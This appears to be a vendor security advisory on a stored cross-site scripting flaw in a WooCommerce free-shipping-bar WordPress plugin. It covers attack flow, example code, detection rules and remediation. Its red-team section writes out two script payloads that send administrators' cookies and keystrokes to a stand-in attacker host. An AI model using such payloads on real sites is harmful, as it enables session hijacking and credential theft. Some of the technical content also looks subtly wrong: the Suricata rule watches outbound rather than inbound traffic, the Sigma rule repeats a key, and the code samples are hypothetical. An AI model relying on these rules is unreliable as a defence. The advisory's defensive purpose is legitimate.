CVE-2025-48253

Executive Summary

CVE-2025-48253 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory Free Shipping Bar plugin for WooCommerce (WordPress ecosystem). The flaw exists in versions up to and including 2.4.6, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that execute in the context of any administrator viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authentication but can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the amount-left-free-shipping-woocommerce plugin, which displays a free shipping progress bar. The plugin fails to sanitize or escape user-supplied input (e.g., custom messages or thresholds) before storing it in the database and rendering it on the frontend. When an administrator views the plugin settings or the shipping bar output, the injected script executes.

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()), allowing HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in with contributor-level access.
2. Attacker navigates to the plugin settings page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field (e.g., "Free Shipping Message").
4. The payload is stored in the WordPress database.
5. When an admin visits the settings page or the frontend, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

// In admin settings display
echo '<input type="text" name="free_shipping_message" value="' . $options['message'] . '" />';

Patched Code (hypothetical):

// Properly escape output
echo '<input type="text" name="free_shipping_message" value="' . esc_attr( $options['message'] ) . '" />';

The vulnerable code directly outputs the stored value without escaping, while the patched version uses esc_attr() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with plugin version <= 2.4.6.
• Attacker account with contributor-level privileges.

Steps:

1. Log in as contributor.
2. Navigate to wp-admin/admin.php?page=free-shipping-bar-settings.
3. In the "Free Shipping Message" field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Wait for an admin to visit the settings page or frontend.

Alternative Payload (keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual POST requests to wp-admin/admin-post.php with parameters containing script tags.
• Review database entries in wp_options for fields like free_shipping_message containing <script>.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/amount-left-free-shipping-woocommerce/ (entire plugin directory)
• Database: wp_options table with option_name containing free_shipping_message and option_value containing <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Logs: wp-content/debug.log entries showing PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_48253_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Free Shipping Bar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48253"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "amount-left-free-shipping-woocommerce"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Free Shipping Bar Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WPFactory Free Shipping Bar plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '*/wp-admin/admin-post.php*'
        http.body: '*free_shipping_message*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48253 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"free_shipping_message"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit user roles – Remove contributor access from untrusted users.
3. Implement WAF rules to block <script> tags in POST requests to plugin settings.

Long-Term Fix:

• Apply input sanitization and output escaping (e.g., esc_attr(), esc_html(), wp_kses_post()) to all user-supplied fields.
• Use WordPress nonces and capability checks to prevent unauthorized access.

Workaround:

• Manually edit the plugin files to add escaping (not recommended for non-developers).

Valters IT